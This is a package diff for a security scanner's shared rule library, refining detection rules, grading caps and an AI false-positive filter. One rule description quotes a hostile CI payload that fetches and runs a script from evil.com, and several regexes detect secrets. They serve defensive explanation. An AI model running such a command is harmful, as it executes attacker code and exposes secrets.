xploitscan-shared-rules 2.1.1 → 2.3.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/index.cjs +1094 -74
- package/dist/index.cjs.map +1 -1
- package/dist/index.d.cts +61 -2
- package/dist/index.d.ts +61 -2
- package/dist/index.js +1089 -74
- package/dist/index.js.map +1 -1
- package/package.json +3 -5
package/dist/index.cjs
CHANGED
|
@@ -33,6 +33,7 @@ __export(index_exports, {
|
|
|
33
33
|
CHECKABLE_CLAIMS: () => CHECKABLE_CLAIMS,
|
|
34
34
|
DOTENV_ASSIGN_RE: () => DOTENV_ASSIGN_RE,
|
|
35
35
|
FREE_RULE_COUNT: () => FREE_RULE_COUNT,
|
|
36
|
+
GRADE_FINDINGS_PER_RULE: () => GRADE_FINDINGS_PER_RULE,
|
|
36
37
|
INTENT_EXPECTATIONS: () => INTENT_EXPECTATIONS,
|
|
37
38
|
MODEL_ANALYSIS: () => MODEL_ANALYSIS,
|
|
38
39
|
MODEL_POLICY_REVIEWED: () => MODEL_POLICY_REVIEWED,
|
|
@@ -87,6 +88,7 @@ __export(index_exports, {
|
|
|
87
88
|
freeRules: () => freeRules,
|
|
88
89
|
getObjectProperty: () => getObjectProperty,
|
|
89
90
|
getSnippet: () => getSnippet,
|
|
91
|
+
gradeRuleFamily: () => gradeRuleFamily,
|
|
90
92
|
hardcodedJWTSecret: () => hardcodedJWTSecret,
|
|
91
93
|
hardcodedSecrets: () => hardcodedSecrets,
|
|
92
94
|
harvestIntent: () => harvestIntent,
|
|
@@ -125,7 +127,10 @@ __export(index_exports, {
|
|
|
125
127
|
replaceBlockComments: () => replaceBlockComments,
|
|
126
128
|
routeForFile: () => routeForFile,
|
|
127
129
|
runCustomRules: () => runCustomRules,
|
|
130
|
+
scanConfigs: () => scanConfigs,
|
|
131
|
+
scanDependencies: () => scanDependencies,
|
|
128
132
|
scanEntropy: () => scanEntropy,
|
|
133
|
+
scanMultiFile: () => scanMultiFile,
|
|
129
134
|
scanQuality: () => scanQuality,
|
|
130
135
|
sqlInjection: () => sqlInjection,
|
|
131
136
|
stripeWebhookUnprotected: () => stripeWebhookUnprotected,
|
|
@@ -405,7 +410,7 @@ var RULE_IMPACTS = {
|
|
|
405
410
|
VC184: "pull_request_target with a checkout of the PR head is the canonical critical CI vulnerability \u2014 any forked PR can run code (install scripts, lint hooks, build steps) with your repo's write tokens and every secret in your environment, leading to repo takeover and secret exfiltration.",
|
|
406
411
|
VC185: "permissions: write-all gives every step in the workflow full repo, packages, and deployments write access. A single compromised action \u2014 direct or transitive \u2014 can push commits, alter releases, and steal every secret the job has access to.",
|
|
407
412
|
VC186: "A malicious PR title or commit message containing $(curl evil.com/sh|sh) gets executed as shell on your runner with your repo's secrets \u2014 same root cause as SQL injection, just in a CI context.",
|
|
408
|
-
VC187: "Passing repo secrets
|
|
413
|
+
VC187: "Passing repo secrets to a third-party action (through with:, the step's env:, or a reusable workflow's secrets:) hands them to its source code and every dependency it pulls. The 2025 tj-actions/changed-files compromise stole CI secrets exactly this way; minimize what you pass and prefer pinning by SHA.",
|
|
409
414
|
VC188: "ADD auto-extracts archives and fetches URLs without integrity checks \u2014 both are foot-guns. Auto-extraction enables zip-slip; URL fetches break reproducibility and fetch whatever the upstream server hands back, even if compromised.",
|
|
410
415
|
VC189: "RUN curl ... | sh executes whatever the upstream server returns at build time \u2014 no checksum, no pin. A compromise of the install host (or a subdomain takeover) bakes attacker code into your image with no audit trail.",
|
|
411
416
|
VC190: "Without HEALTHCHECK, an orchestrator can't tell that a deadlocked or DB-pool-exhausted container is broken \u2014 it stays in the load balancer rotation serving 500s to users until a human notices and intervenes.",
|
|
@@ -535,6 +540,15 @@ var NON_APP_PATH_PATTERNS = [
|
|
|
535
540
|
"**/vendor/**",
|
|
536
541
|
"**/vendored/**",
|
|
537
542
|
"**/third_party/**",
|
|
543
|
+
// Hyphen, closed, and plural spellings. `third_party` alone left
|
|
544
|
+
// `third-party/licenses/*.spdx.json` in the grade.
|
|
545
|
+
"**/third-party/**",
|
|
546
|
+
"**/thirdparty/**",
|
|
547
|
+
"**/third_parties/**",
|
|
548
|
+
"**/third-parties/**",
|
|
549
|
+
"**/3rd_party/**",
|
|
550
|
+
"**/3rd-party/**",
|
|
551
|
+
"**/3rdparty/**",
|
|
538
552
|
"**/generated/**",
|
|
539
553
|
"**/__generated__/**"
|
|
540
554
|
];
|
|
@@ -2047,7 +2061,7 @@ var exposedEnvFile = {
|
|
|
2047
2061
|
category: "Secrets",
|
|
2048
2062
|
description: ".env files containing secrets may be committed to version control.",
|
|
2049
2063
|
check(content, filePath) {
|
|
2050
|
-
if (!filePath.match(/\.env(?:\.[a-z]+)?$/) || filePath.includes("example")) return [];
|
|
2064
|
+
if (!filePath.match(/\.env(?:\.[a-z]+)?$/) || filePath.includes("example") || /\.env\.(?:sample|template)$/.test(filePath)) return [];
|
|
2051
2065
|
const hasSecrets = /(?:KEY|SECRET|TOKEN|PASSWORD|PRIVATE|DATABASE_URL)\s*=/i.test(content);
|
|
2052
2066
|
if (!hasSecrets) return [];
|
|
2053
2067
|
return [{
|
|
@@ -3051,6 +3065,116 @@ var corsWildcard = {
|
|
|
3051
3065
|
return matches;
|
|
3052
3066
|
}
|
|
3053
3067
|
};
|
|
3068
|
+
function firstAtOrAfter(sorted, x) {
|
|
3069
|
+
let lo = 0, hi = sorted.length;
|
|
3070
|
+
while (lo < hi) {
|
|
3071
|
+
const mid = lo + hi >>> 1;
|
|
3072
|
+
if (sorted[mid] < x) lo = mid + 1;
|
|
3073
|
+
else hi = mid;
|
|
3074
|
+
}
|
|
3075
|
+
return lo;
|
|
3076
|
+
}
|
|
3077
|
+
function vc010RoleTests(content, vue) {
|
|
3078
|
+
const out = [];
|
|
3079
|
+
const candidate = /isadmin|role/gi;
|
|
3080
|
+
const roleEq = vue ? /role\s*===?\s*'admin'/iy : /role\s*===?\s*["'`]admin["'`]/iy;
|
|
3081
|
+
for (let m = candidate.exec(content); m !== null; m = candidate.exec(content)) {
|
|
3082
|
+
const q = m.index;
|
|
3083
|
+
if (m[0].length === 7) {
|
|
3084
|
+
out.push({ start: q, end: q + 7 });
|
|
3085
|
+
continue;
|
|
3086
|
+
}
|
|
3087
|
+
if (!vue && q >= 5 && content.slice(q - 5, q).toLowerCase() === "user.") {
|
|
3088
|
+
out.push({ start: q - 5, end: q + 4 });
|
|
3089
|
+
}
|
|
3090
|
+
roleEq.lastIndex = q;
|
|
3091
|
+
if (roleEq.test(content)) out.push({ start: q, end: roleEq.lastIndex });
|
|
3092
|
+
}
|
|
3093
|
+
return out;
|
|
3094
|
+
}
|
|
3095
|
+
function vc010LineEnd(content) {
|
|
3096
|
+
const breaks = [];
|
|
3097
|
+
for (let i = 0; i < content.length; i++) {
|
|
3098
|
+
const c = content.charCodeAt(i);
|
|
3099
|
+
if (c === 10 || c === 13 || c === 8232 || c === 8233) breaks.push(i);
|
|
3100
|
+
}
|
|
3101
|
+
return (x) => {
|
|
3102
|
+
const i = firstAtOrAfter(breaks, x);
|
|
3103
|
+
return i < breaks.length ? breaks[i] : content.length;
|
|
3104
|
+
};
|
|
3105
|
+
}
|
|
3106
|
+
function vc010JsxGateStarts(content) {
|
|
3107
|
+
const tests = vc010RoleTests(content, false);
|
|
3108
|
+
if (tests.length === 0) return [];
|
|
3109
|
+
const lineEnd = vc010LineEnd(content);
|
|
3110
|
+
const ands = [];
|
|
3111
|
+
for (let a = content.indexOf("&&"); a !== -1; a = content.indexOf("&&", a + 1)) ands.push(a);
|
|
3112
|
+
const starts = [];
|
|
3113
|
+
let pos = 0;
|
|
3114
|
+
let lo = 0;
|
|
3115
|
+
for (; ; ) {
|
|
3116
|
+
const open = content.indexOf("{", pos);
|
|
3117
|
+
if (open === -1) break;
|
|
3118
|
+
const end = lineEnd(open);
|
|
3119
|
+
while (lo < tests.length && tests[lo].start <= open) lo++;
|
|
3120
|
+
let hi = lo;
|
|
3121
|
+
while (hi < tests.length && tests[hi].start < end) hi++;
|
|
3122
|
+
let matchEnd = -1;
|
|
3123
|
+
for (let k = hi - 1; k >= lo && matchEnd === -1; k--) {
|
|
3124
|
+
const e = tests[k].end;
|
|
3125
|
+
const i = firstAtOrAfter(ands, lineEnd(e) - 1) - 1;
|
|
3126
|
+
if (i >= 0 && ands[i] >= e) matchEnd = ands[i] + 2;
|
|
3127
|
+
}
|
|
3128
|
+
if (matchEnd === -1) {
|
|
3129
|
+
pos = end + 1;
|
|
3130
|
+
continue;
|
|
3131
|
+
}
|
|
3132
|
+
starts.push(open);
|
|
3133
|
+
pos = matchEnd;
|
|
3134
|
+
}
|
|
3135
|
+
return starts;
|
|
3136
|
+
}
|
|
3137
|
+
function vc010VueGateStarts(content) {
|
|
3138
|
+
const tests = vc010RoleTests(content, true);
|
|
3139
|
+
if (tests.length === 0) return [];
|
|
3140
|
+
const testStarts = tests.map((t) => t.start);
|
|
3141
|
+
const lineEnd = vc010LineEnd(content);
|
|
3142
|
+
const vIf = /v-if/gi;
|
|
3143
|
+
const attr = /v-if\s*=\s*["'`]/iy;
|
|
3144
|
+
const starts = [];
|
|
3145
|
+
for (let m = vIf.exec(content); m !== null; m = vIf.exec(content)) {
|
|
3146
|
+
attr.lastIndex = m.index;
|
|
3147
|
+
if (!attr.test(content)) continue;
|
|
3148
|
+
const valueStart = attr.lastIndex;
|
|
3149
|
+
const end = lineEnd(valueStart);
|
|
3150
|
+
const k = firstAtOrAfter(testStarts, end) - 1;
|
|
3151
|
+
if (k < 0 || tests[k].start < valueStart) continue;
|
|
3152
|
+
starts.push(m.index);
|
|
3153
|
+
vIf.lastIndex = tests[k].end;
|
|
3154
|
+
}
|
|
3155
|
+
return starts;
|
|
3156
|
+
}
|
|
3157
|
+
function vc010Findings(content, filePath, starts, fix) {
|
|
3158
|
+
const out = [];
|
|
3159
|
+
let scanned = 0;
|
|
3160
|
+
let line = 1;
|
|
3161
|
+
for (const index of starts) {
|
|
3162
|
+
if (isCommentLine(content, index) || isInsideFixMessage(content, index)) continue;
|
|
3163
|
+
for (; scanned < index; scanned++) if (content.charCodeAt(scanned) === 10) line++;
|
|
3164
|
+
out.push({
|
|
3165
|
+
rule: clientSideAuth.id,
|
|
3166
|
+
title: clientSideAuth.title,
|
|
3167
|
+
severity: clientSideAuth.severity,
|
|
3168
|
+
category: clientSideAuth.category,
|
|
3169
|
+
file: filePath,
|
|
3170
|
+
line,
|
|
3171
|
+
snippet: getSnippet(content, line),
|
|
3172
|
+
fix
|
|
3173
|
+
});
|
|
3174
|
+
if (out.length >= 500) break;
|
|
3175
|
+
}
|
|
3176
|
+
return out;
|
|
3177
|
+
}
|
|
3054
3178
|
var clientSideAuth = {
|
|
3055
3179
|
id: "VC010",
|
|
3056
3180
|
title: "Client-Side Only Authorization",
|
|
@@ -3059,25 +3183,13 @@ var clientSideAuth = {
|
|
|
3059
3183
|
description: "Hiding UI elements based on roles without server-side checks lets attackers bypass restrictions using DevTools.",
|
|
3060
3184
|
check(content, filePath) {
|
|
3061
3185
|
if (!filePath.match(/\.(jsx|tsx|vue|svelte)$/)) return [];
|
|
3062
|
-
|
|
3063
|
-
const
|
|
3064
|
-
|
|
3065
|
-
|
|
3186
|
+
if (/getServerSession|(?<!\.auth\.)getUser|server|api\/auth|middleware|\bawait\s+auth\s*\(\s*\)(?!\s*\.)/i.test(content)) return [];
|
|
3187
|
+
if (/\bexport\s+default\s+async\s+function\b|\basync\s+function\s+[A-Z]\w*\s*\(|\bconst\s+[A-Z]\w*\s*(?::[^=\n]{1,80})?=\s*async\s*\(|\bexport\s+(?:async\s+function|const)\s+(?:loader|action)\b|["']next\/headers["']|\bclerkClient\b|firebase-admin/.test(content)) return [];
|
|
3188
|
+
const fix = "Client-side role checks only hide UI \u2014 they don't prevent access. Always verify permissions on the server/API side too.";
|
|
3189
|
+
return [
|
|
3190
|
+
...vc010Findings(content, filePath, vc010JsxGateStarts(content), fix),
|
|
3191
|
+
...vc010Findings(content, filePath, vc010VueGateStarts(content), fix)
|
|
3066
3192
|
];
|
|
3067
|
-
for (const pattern of rolePatterns) {
|
|
3068
|
-
const hasServerCheck = /getServerSession|getUser|server|api\/auth|middleware/i.test(content);
|
|
3069
|
-
if (hasServerCheck) continue;
|
|
3070
|
-
matches.push(
|
|
3071
|
-
...findMatches(
|
|
3072
|
-
content,
|
|
3073
|
-
pattern,
|
|
3074
|
-
clientSideAuth,
|
|
3075
|
-
filePath,
|
|
3076
|
-
() => "Client-side role checks only hide UI \u2014 they don't prevent access. Always verify permissions on the server/API side too."
|
|
3077
|
-
)
|
|
3078
|
-
);
|
|
3079
|
-
}
|
|
3080
|
-
return matches;
|
|
3081
3193
|
}
|
|
3082
3194
|
};
|
|
3083
3195
|
var PUBLIC_ENV_FIX = {
|
|
@@ -3147,6 +3259,7 @@ var envNotGitignored = {
|
|
|
3147
3259
|
description: "If .env is not listed in .gitignore, secrets will be committed to version control.",
|
|
3148
3260
|
check(content, filePath) {
|
|
3149
3261
|
if (!filePath.endsWith(".gitignore")) return [];
|
|
3262
|
+
if (/(?:^|\/)(?:android|ios)\//.test(filePath)) return [];
|
|
3150
3263
|
if (/\.env/i.test(content)) return [];
|
|
3151
3264
|
return [{
|
|
3152
3265
|
rule: "VC014",
|
|
@@ -3401,10 +3514,13 @@ var missingHTTPS = {
|
|
|
3401
3514
|
category: "Configuration",
|
|
3402
3515
|
description: "Hardcoded http:// URLs (other than localhost and private-network addresses) send data unencrypted, exposing it to man-in-the-middle attacks.",
|
|
3403
3516
|
check(content, filePath) {
|
|
3404
|
-
|
|
3517
|
+
const baseName = filePath.slice(filePath.lastIndexOf("/") + 1);
|
|
3518
|
+
const isTestPath = /(?:^|\/)(?:__tests__|tests?|testdata|testing|test[-_]?(?:utils?|helpers?|support))\//i.test(filePath) || /^(?:tests?(?![a-z])|conftest\.py$|setupTests\.)|[._-]tests?\.\w+$|\.spec\.\w+$|_spec\.rb$/.test(baseName);
|
|
3519
|
+
if (filePath.endsWith(".example") || isTestPath || filePath.includes("README")) return [];
|
|
3405
3520
|
if (filePath.match(/\.(md|txt)$/)) return [];
|
|
3406
3521
|
const matches = [];
|
|
3407
|
-
|
|
3522
|
+
const isScriptFile = /\.(?:[cm]?[jt]sx?|vue|svelte)$/i.test(filePath);
|
|
3523
|
+
if (!isScriptFile && /<!DOCTYPE|xmlns|\.dtd|\.xsd/i.test(content) && !/fetch|axios|request|http\.get/i.test(content)) return [];
|
|
3408
3524
|
const httpPattern = /["'`]http:\/\/(?!localhost|127\.0\.0\.1|0\.0\.0\.0|192\.168\.|10\.|172\.(?:1[6-9]|2\d|3[01])\.|www\.w3\.org|www\.apple\.com\/DTDs|schemas?\.|xml\.org|purl\.org|ns\.adobe|xmlpull\.org|java\.sun\.com)[^"'`\s]+["'`]/g;
|
|
3409
3525
|
const rawMatches = findMatches(
|
|
3410
3526
|
content,
|
|
@@ -3413,11 +3529,10 @@ var missingHTTPS = {
|
|
|
3413
3529
|
filePath,
|
|
3414
3530
|
() => "Use https:// instead of http:// for all production URLs. Add HSTS header: Strict-Transport-Security: max-age=31536000; includeSubDomains"
|
|
3415
3531
|
);
|
|
3532
|
+
const lines = rawMatches.length > 0 ? content.split("\n") : [];
|
|
3416
3533
|
for (const rm of rawMatches) {
|
|
3417
|
-
const
|
|
3418
|
-
|
|
3419
|
-
const matchText = content.substring(lineStart, lineEnd === -1 ? content.length : lineEnd);
|
|
3420
|
-
if (/DTD|DOCTYPE|w3\.org|apple\.com\/DTDs/i.test(matchText)) continue;
|
|
3534
|
+
const matchText = lines[rm.line - 1] ?? "";
|
|
3535
|
+
if (/DTD|DOCTYPE|w3\.org|apple\.com\/DTDs|\bxmlns[\w:-]*\s*=/i.test(matchText)) continue;
|
|
3421
3536
|
matches.push(rm);
|
|
3422
3537
|
}
|
|
3423
3538
|
return matches;
|
|
@@ -3573,6 +3688,7 @@ var missingLockFile = {
|
|
|
3573
3688
|
description: "Without a lockfile (package-lock.json, pnpm-lock.yaml, yarn.lock), dependency versions are unpinned and vulnerable to supply chain attacks via version substitution.",
|
|
3574
3689
|
check(content, filePath) {
|
|
3575
3690
|
if (!filePath.endsWith(".gitignore")) return [];
|
|
3691
|
+
if (/^[ \t]*![^\n]*(?:package-lock\.json|pnpm-lock\.yaml|yarn\.lock)/im.test(content)) return [];
|
|
3576
3692
|
const ignoresLock = /package-lock\.json|pnpm-lock\.yaml|yarn\.lock/i.test(content);
|
|
3577
3693
|
if (ignoresLock) {
|
|
3578
3694
|
return findMatches(
|
|
@@ -3749,6 +3865,44 @@ function detectPlatform(files) {
|
|
|
3749
3865
|
}
|
|
3750
3866
|
return [...platforms];
|
|
3751
3867
|
}
|
|
3868
|
+
var GRADE_FINDINGS_PER_RULE = 3;
|
|
3869
|
+
var GRADE_SEVERITY_RANK = {
|
|
3870
|
+
critical: 4,
|
|
3871
|
+
high: 3,
|
|
3872
|
+
medium: 2,
|
|
3873
|
+
low: 1,
|
|
3874
|
+
info: 0
|
|
3875
|
+
};
|
|
3876
|
+
function gradeRuleFamily(finding) {
|
|
3877
|
+
const rule = (finding.rule ?? "").trim();
|
|
3878
|
+
if (rule === "ENTROPY" || rule.startsWith("ENTROPY-")) return "ENTROPY";
|
|
3879
|
+
if (rule) return rule;
|
|
3880
|
+
const id = finding.id ?? "";
|
|
3881
|
+
if (id === "ENTROPY" || id.startsWith("ENTROPY-")) return "ENTROPY";
|
|
3882
|
+
return id || "unknown";
|
|
3883
|
+
}
|
|
3884
|
+
function isDeductingSeverity(severity) {
|
|
3885
|
+
return severity === "critical" || severity === "high" || severity === "medium" || severity === "low";
|
|
3886
|
+
}
|
|
3887
|
+
function findingsCountedTowardGrade(findings) {
|
|
3888
|
+
const groups = /* @__PURE__ */ new Map();
|
|
3889
|
+
findings.forEach((item, index) => {
|
|
3890
|
+
const key = gradeRuleFamily(item);
|
|
3891
|
+
const bucket = groups.get(key);
|
|
3892
|
+
const entry = { item, index };
|
|
3893
|
+
if (bucket) bucket.push(entry);
|
|
3894
|
+
else groups.set(key, [entry]);
|
|
3895
|
+
});
|
|
3896
|
+
const counted = [];
|
|
3897
|
+
for (const bucket of groups.values()) {
|
|
3898
|
+
const ranked = bucket.length <= GRADE_FINDINGS_PER_RULE ? bucket : [...bucket].sort((a, b) => {
|
|
3899
|
+
const bySeverity = (GRADE_SEVERITY_RANK[b.item.severity ?? ""] ?? 0) - (GRADE_SEVERITY_RANK[a.item.severity ?? ""] ?? 0);
|
|
3900
|
+
return bySeverity !== 0 ? bySeverity : a.index - b.index;
|
|
3901
|
+
}).slice(0, GRADE_FINDINGS_PER_RULE);
|
|
3902
|
+
for (const entry of ranked) counted.push(entry.item);
|
|
3903
|
+
}
|
|
3904
|
+
return counted;
|
|
3905
|
+
}
|
|
3752
3906
|
function calculateGrade(findings, _totalFiles, options = {}) {
|
|
3753
3907
|
const scored = options.gradeVendored ? findings : findings.filter((f) => !isVendoredFinding(f));
|
|
3754
3908
|
const ungraded = findings.length - scored.length;
|
|
@@ -3761,13 +3915,22 @@ function calculateGrade(findings, _totalFiles, options = {}) {
|
|
|
3761
3915
|
ungraded
|
|
3762
3916
|
};
|
|
3763
3917
|
}
|
|
3918
|
+
const counted = findingsCountedTowardGrade(scored);
|
|
3764
3919
|
let critical = 0, high = 0, medium = 0, low = 0;
|
|
3765
|
-
for (const f of
|
|
3920
|
+
for (const f of counted) {
|
|
3766
3921
|
if (f.severity === "critical") critical++;
|
|
3767
3922
|
else if (f.severity === "high") high++;
|
|
3768
3923
|
else if (f.severity === "medium") medium++;
|
|
3769
3924
|
else if (f.severity === "low") low++;
|
|
3770
3925
|
}
|
|
3926
|
+
let rawCritical = 0, rawHigh = 0, rawMedium = 0, rawLow = 0;
|
|
3927
|
+
for (const f of scored) {
|
|
3928
|
+
if (f.severity === "critical") rawCritical++;
|
|
3929
|
+
else if (f.severity === "high") rawHigh++;
|
|
3930
|
+
else if (f.severity === "medium") rawMedium++;
|
|
3931
|
+
else if (f.severity === "low") rawLow++;
|
|
3932
|
+
}
|
|
3933
|
+
const omitted = scored.filter((f) => isDeductingSeverity(f.severity)).length - counted.filter((f) => isDeductingSeverity(f.severity)).length;
|
|
3771
3934
|
const deductions = critical * 15 + high * 7 + medium * 3 + low * 1;
|
|
3772
3935
|
const rawScore = Math.max(0, 100 - deductions);
|
|
3773
3936
|
let grade;
|
|
@@ -3787,22 +3950,23 @@ function calculateGrade(findings, _totalFiles, options = {}) {
|
|
|
3787
3950
|
else if (medium >= 5) grade = capGrade("B");
|
|
3788
3951
|
else if (medium >= 1) grade = capGrade("A");
|
|
3789
3952
|
let summary;
|
|
3790
|
-
if (
|
|
3791
|
-
summary = `${
|
|
3792
|
-
} else if (
|
|
3793
|
-
summary = `${
|
|
3794
|
-
} else if (
|
|
3795
|
-
summary = `${
|
|
3796
|
-
} else if (
|
|
3797
|
-
summary = `${
|
|
3798
|
-
} else if (
|
|
3799
|
-
summary = `Clean of critical and high issues. ${
|
|
3800
|
-
} else if (
|
|
3801
|
-
summary = `Clean of critical, high, and medium issues. ${
|
|
3953
|
+
if (rawCritical > 0) {
|
|
3954
|
+
summary = `${rawCritical} critical ${rawCritical === 1 ? "vulnerability requires" : "vulnerabilities require"} immediate attention.`;
|
|
3955
|
+
} else if (rawHigh >= 3) {
|
|
3956
|
+
summary = `${rawHigh} high-severity issues require urgent attention.`;
|
|
3957
|
+
} else if (rawHigh > 0) {
|
|
3958
|
+
summary = `${rawHigh} high-severity ${rawHigh === 1 ? "issue needs" : "issues need"} attention.`;
|
|
3959
|
+
} else if (rawMedium >= 5) {
|
|
3960
|
+
summary = `${rawMedium} medium-severity issues to address.`;
|
|
3961
|
+
} else if (rawMedium > 0) {
|
|
3962
|
+
summary = `Clean of critical and high issues. ${rawMedium} medium-severity ${rawMedium === 1 ? "issue" : "issues"} to review.`;
|
|
3963
|
+
} else if (rawLow > 0) {
|
|
3964
|
+
summary = `Clean of critical, high, and medium issues. ${rawLow} low-severity best-practice ${rawLow === 1 ? "note" : "notes"}.`;
|
|
3802
3965
|
} else {
|
|
3803
3966
|
summary = "No security issues detected.";
|
|
3804
3967
|
}
|
|
3805
|
-
|
|
3968
|
+
const capNote = omitted > 0 ? ` ${omitted} more ${omitted === 1 ? "finding was" : "findings were"} not deducted (at most ${GRADE_FINDINGS_PER_RULE} findings per rule count toward the score and the severity caps).` : "";
|
|
3969
|
+
return { grade, score: rawScore, summary: summary + capNote + holdout, ungraded };
|
|
3806
3970
|
}
|
|
3807
3971
|
var complianceMap = {
|
|
3808
3972
|
VC001: { owasp: "A07:2021", cwe: "CWE-798" },
|
|
@@ -4134,7 +4298,7 @@ var consoleLogProduction = {
|
|
|
4134
4298
|
for (let i = 0; i < lines.length; i++) {
|
|
4135
4299
|
const line = lines[i].trim();
|
|
4136
4300
|
if (/console\.log\s*\(/.test(line) && !line.startsWith("//") && !line.startsWith("*") && !/if\s*\(\s*(?:debug|process\.env)/i.test(lines[Math.max(0, i - 1)] + line)) {
|
|
4137
|
-
matches.push({ rule: "VC097", title: consoleLogProduction.title, severity:
|
|
4301
|
+
matches.push({ rule: "VC097", title: consoleLogProduction.title, severity: consoleLogProduction.severity, category: "Performance", file: filePath, line: i + 1, snippet: getSnippet(content, i + 1), fix: "Remove console.log or use a structured logger that can be disabled in production." });
|
|
4138
4302
|
}
|
|
4139
4303
|
}
|
|
4140
4304
|
return matches.slice(0, 1);
|
|
@@ -4148,13 +4312,34 @@ var todoLeftInCode = {
|
|
|
4148
4312
|
description: "TODO, FIXME, HACK, and XXX comments indicate unfinished work that should be resolved before shipping to production.",
|
|
4149
4313
|
check(content, filePath) {
|
|
4150
4314
|
if (filePath.match(/test|spec|mock|__tests__|fixture|node_modules/i)) return [];
|
|
4151
|
-
return
|
|
4152
|
-
|
|
4153
|
-
|
|
4154
|
-
|
|
4155
|
-
|
|
4156
|
-
|
|
4157
|
-
|
|
4315
|
+
if (/\.(?:md|mdx|markdown|txt)$/i.test(filePath)) return [];
|
|
4316
|
+
const marker = /(?<![`'":])(?:\/\/|\/\*\*?|^[ \t]*\*+)[ \t]*(?:(?:TODO|FIXME|HACK)\b|XXX(?![\w.-])|(?:[Tt]odo|[Ff]ixme)[ \t]*:|@todo\b)/gm;
|
|
4317
|
+
const matches = [];
|
|
4318
|
+
let todoDomain;
|
|
4319
|
+
let lastLine = 0;
|
|
4320
|
+
for (let m = marker.exec(content); m && matches.length < 5; m = marker.exec(content)) {
|
|
4321
|
+
const line = lineNumberAt(content, m.index);
|
|
4322
|
+
if (line === lastLine) continue;
|
|
4323
|
+
lastLine = line;
|
|
4324
|
+
if (/^[^@]*[Tt]odo[ \t]*:$/.test(m[0])) {
|
|
4325
|
+
const lineStart = content.lastIndexOf("\n", m.index) + 1;
|
|
4326
|
+
if (content.slice(lineStart, m.index).trim() === "") {
|
|
4327
|
+
if (todoDomain === void 0) todoDomain = /\b[Tt]odos?\b/.test(maskComments(content));
|
|
4328
|
+
if (todoDomain) continue;
|
|
4329
|
+
}
|
|
4330
|
+
}
|
|
4331
|
+
matches.push({
|
|
4332
|
+
rule: todoLeftInCode.id,
|
|
4333
|
+
title: todoLeftInCode.title,
|
|
4334
|
+
severity: todoLeftInCode.severity,
|
|
4335
|
+
category: todoLeftInCode.category,
|
|
4336
|
+
file: filePath,
|
|
4337
|
+
line,
|
|
4338
|
+
snippet: getSnippet(content, line),
|
|
4339
|
+
fix: "Resolve TODO/FIXME comments before shipping. If it's intentional tech debt, track it in your issue tracker instead."
|
|
4340
|
+
});
|
|
4341
|
+
}
|
|
4342
|
+
return matches;
|
|
4158
4343
|
}
|
|
4159
4344
|
};
|
|
4160
4345
|
var emptyCatchBlock = {
|
|
@@ -4169,13 +4354,11 @@ var emptyCatchBlock = {
|
|
|
4169
4354
|
description: "Empty catch blocks silently swallow errors, making bugs impossible to diagnose. At minimum, log the error.",
|
|
4170
4355
|
check(content, filePath) {
|
|
4171
4356
|
if (filePath.match(/test|spec|mock/i)) return [];
|
|
4172
|
-
|
|
4173
|
-
|
|
4174
|
-
|
|
4175
|
-
|
|
4176
|
-
|
|
4177
|
-
() => "Handle errors in catch blocks: catch(err) { console.error('Operation failed:', err); } or re-throw if appropriate."
|
|
4178
|
-
);
|
|
4357
|
+
const fix = () => "Handle errors in catch blocks: catch(err) { console.error('Operation failed:', err); } or re-throw if appropriate.";
|
|
4358
|
+
const blocks = findMatches(content, /catch\s*(?:\([^)]{0,200}\))?\s*\{\s*\}/g, emptyCatchBlock, filePath, fix);
|
|
4359
|
+
const seen = new Set(blocks.map((m) => m.line));
|
|
4360
|
+
const promises = findMatches(content, /\.catch\s*\(\s*(?:async\s*)?(?:\(\s*[\w$]*\s*(?::\s*[\w$]+\s*)?\)|[\w$]+)\s*=>\s*\{\s*\}\s*\)/g, emptyCatchBlock, filePath, fix).filter((m) => !seen.has(m.line));
|
|
4361
|
+
return [...blocks, ...promises].slice(0, 500);
|
|
4179
4362
|
}
|
|
4180
4363
|
};
|
|
4181
4364
|
var freeRules = [
|
|
@@ -4337,6 +4520,20 @@ var MAX_CONCURRENT = (() => {
|
|
|
4337
4520
|
if (!Number.isFinite(n) || n < 1) return DEFAULT_MAX_CONCURRENT;
|
|
4338
4521
|
return Math.min(n, 20);
|
|
4339
4522
|
})();
|
|
4523
|
+
var DEFAULT_AI_FILTER_BUDGET_MS = 8e3;
|
|
4524
|
+
var AI_FILTER_BUDGET_MS = (() => {
|
|
4525
|
+
const raw = process.env.AI_FILTER_BUDGET_MS;
|
|
4526
|
+
if (!raw) return DEFAULT_AI_FILTER_BUDGET_MS;
|
|
4527
|
+
const n = parseInt(raw, 10);
|
|
4528
|
+
if (!Number.isFinite(n) || n < 1) return DEFAULT_AI_FILTER_BUDGET_MS;
|
|
4529
|
+
return Math.min(n, 6e4);
|
|
4530
|
+
})();
|
|
4531
|
+
var PER_CALL_TIMEOUT_MS = 8e3;
|
|
4532
|
+
function isAbortError(err) {
|
|
4533
|
+
if (!err || typeof err !== "object") return false;
|
|
4534
|
+
const name = "name" in err ? String(err.name) : "";
|
|
4535
|
+
return name === "AbortError" || name === "APIUserAbortError";
|
|
4536
|
+
}
|
|
4340
4537
|
var SEVERITY_PRIORITY = {
|
|
4341
4538
|
critical: 0,
|
|
4342
4539
|
high: 1,
|
|
@@ -4387,10 +4584,18 @@ function parseReviewResponse(text) {
|
|
|
4387
4584
|
return [];
|
|
4388
4585
|
}
|
|
4389
4586
|
}
|
|
4390
|
-
async function filterFalsePositives(findings, fileContents) {
|
|
4587
|
+
async function filterFalsePositives(findings, fileContents, budgetMs = AI_FILTER_BUDGET_MS) {
|
|
4391
4588
|
const empty = { findings, filteredFindings: [], aiReviewed: false, removedCount: 0, totalBefore: findings.length, unreviewedCount: 0 };
|
|
4392
4589
|
if (!process.env.ANTHROPIC_API_KEY) return empty;
|
|
4393
4590
|
if (findings.length === 0) return empty;
|
|
4591
|
+
const deadlineMs = Date.now() + Math.max(0, budgetMs);
|
|
4592
|
+
const abortController = new AbortController();
|
|
4593
|
+
let budgetExpired = budgetMs <= 0;
|
|
4594
|
+
if (budgetExpired) abortController.abort();
|
|
4595
|
+
const budgetTimer = budgetExpired ? void 0 : setTimeout(() => {
|
|
4596
|
+
budgetExpired = true;
|
|
4597
|
+
abortController.abort();
|
|
4598
|
+
}, budgetMs);
|
|
4394
4599
|
const prioritized = [...findings].sort((a, b) => {
|
|
4395
4600
|
const pa = SEVERITY_PRIORITY[(a.severity || "").toLowerCase()] ?? 5;
|
|
4396
4601
|
